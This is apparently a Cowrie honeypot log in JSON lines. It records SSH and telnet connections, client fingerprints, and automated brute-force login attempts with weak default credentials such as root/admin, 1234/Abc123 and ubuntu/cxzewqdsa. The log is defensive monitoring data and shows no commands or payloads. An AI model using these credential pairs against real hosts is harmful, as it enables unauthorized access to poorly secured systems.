{"eventid":"cowrie.session.closed","duration":35.3789803981781,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.841089Z","src_ip":"34.62.3.232","session":"fcc276d3e878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.77363657951355,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.862020Z","src_ip":"34.62.3.232","session":"d0da00992fe8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.930153608322144,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.865642Z","src_ip":"34.62.3.232","session":"78b8996baa1b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.241583108901978,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.868829Z","src_ip":"34.62.3.232","session":"4f4aa2d4b146","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.552339792251587,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.870759Z","src_ip":"34.62.3.232","session":"e94265b55472","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.400766611099243,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:52.873072Z","src_ip":"34.62.3.232","session":"5a9a14f28f72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":33782,"dst_ip":"10.17.0.5","dst_port":22,"session":"36b9fccd404c","protocol":"ssh","message":"New connection: 171.25.158.70:33782 (10.17.0.5:22) [session: 36b9fccd404c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:54.801401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:54.805560Z","src_ip":"171.25.158.70","session":"36b9fccd404c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:54.913547Z","src_ip":"171.25.158.70","session":"36b9fccd404c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testout","password":"testout","message":"login attempt [testout/testout] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:55.408181Z","src_ip":"171.25.158.70","session":"36b9fccd404c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:41:56.519219Z","src_ip":"171.25.158.70","session":"36b9fccd404c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":57198,"dst_ip":"159.203.135.109","dst_port":22,"session":"ec5d0720b958","protocol":"ssh","message":"New connection: 159.203.92.129:57198 (159.203.135.109:22) [session: ec5d0720b958]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:00.218839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:00.225523Z","src_ip":"159.203.92.129","session":"ec5d0720b958","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:00.231067Z","src_ip":"159.203.92.129","session":"ec5d0720b958","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"Abc123","message":"login attempt [1234/Abc123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:00.249897Z","src_ip":"159.203.92.129","session":"ec5d0720b958","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:01.260839Z","src_ip":"159.203.92.129","session":"ec5d0720b958","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.81","src_port":47028,"dst_ip":"159.203.135.109","dst_port":23,"session":"e63c090c64ae","protocol":"telnet","message":"New connection: 176.65.139.81:47028 (159.203.135.109:23) [session: e63c090c64ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:10.533306Z"}
{"eventid":"cowrie.login.success","username":"root","password":"admin","message":"login attempt [root/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:10.695982Z","src_ip":"176.65.139.81","session":"e63c090c64ae","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:10.749226Z","src_ip":"176.65.139.81","session":"e63c090c64ae","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00750541687012,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:16.774668Z","src_ip":"67.128.120.127","session":"f5cccd206c46","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"67.128.120.127","src_port":38266,"dst_ip":"159.203.135.109","dst_port":23,"session":"f0bf3be5770d","protocol":"telnet","message":"New connection: 67.128.120.127:38266 (159.203.135.109:23) [session: f0bf3be5770d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:17.164549Z"}
{"eventid":"cowrie.session.connect","src_ip":"27.119.7.6","src_port":35492,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b4d451bd979","protocol":"ssh","message":"New connection: 27.119.7.6:35492 (10.17.0.5:22) [session: 7b4d451bd979]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:31.768960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:31.773956Z","src_ip":"27.119.7.6","session":"7b4d451bd979","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:31.962442Z","src_ip":"27.119.7.6","session":"7b4d451bd979","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"12345678","message":"login attempt [user3/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:32.782459Z","src_ip":"27.119.7.6","session":"7b4d451bd979","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:34.009456Z","src_ip":"27.119.7.6","session":"7b4d451bd979","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":35844,"dst_ip":"159.203.135.109","dst_port":22,"session":"da17617e6616","protocol":"ssh","message":"New connection: 159.203.92.129:35844 (159.203.135.109:22) [session: da17617e6616]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:42.335316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:42.339666Z","src_ip":"159.203.92.129","session":"da17617e6616","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:42.349940Z","src_ip":"159.203.92.129","session":"da17617e6616","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"Abc@123","message":"login attempt [1234/Abc@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:42.367896Z","src_ip":"159.203.92.129","session":"da17617e6616","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:43.374566Z","src_ip":"159.203.92.129","session":"da17617e6616","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":49178,"dst_ip":"10.17.0.5","dst_port":22,"session":"e39d58a2febb","protocol":"ssh","message":"New connection: 171.25.158.70:49178 (10.17.0.5:22) [session: e39d58a2febb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:44.016850Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:44.022773Z","src_ip":"171.25.158.70","session":"e39d58a2febb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:44.127551Z","src_ip":"171.25.158.70","session":"e39d58a2febb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"cxzewqdsa","message":"login attempt [ubuntu/cxzewqdsa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:44.699694Z","src_ip":"171.25.158.70","session":"e39d58a2febb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:42:45.807021Z","src_ip":"171.25.158.70","session":"e39d58a2febb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34880,"dst_ip":"159.203.135.109","dst_port":22,"session":"e762ade20307","protocol":"ssh","message":"New connection: 159.203.92.129:34880 (159.203.135.109:22) [session: e762ade20307]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:24.897658Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:24.902446Z","src_ip":"159.203.92.129","session":"e762ade20307","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:24.906734Z","src_ip":"159.203.92.129","session":"e762ade20307","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"1234","password":"Ad123456","message":"login attempt [1234/Ad123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:24.977755Z","src_ip":"159.203.92.129","session":"e762ade20307","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:25.984869Z","src_ip":"159.203.92.129","session":"e762ade20307","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"171.25.158.70","src_port":57082,"dst_ip":"10.17.0.5","dst_port":22,"session":"d1b1479737a6","protocol":"ssh","message":"New connection: 171.25.158.70:57082 (10.17.0.5:22) [session: d1b1479737a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:37.190009Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:37.194878Z","src_ip":"171.25.158.70","session":"d1b1479737a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:37.303572Z","src_ip":"171.25.158.70","session":"d1b1479737a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"4444","message":"login attempt [user/4444] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:37.811582Z","src_ip":"171.25.158.70","session":"d1b1479737a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T06:43:38.923103Z","src_ip":"171.25.158.70","session":"d1b1479737a6","protocol":"ssh"}
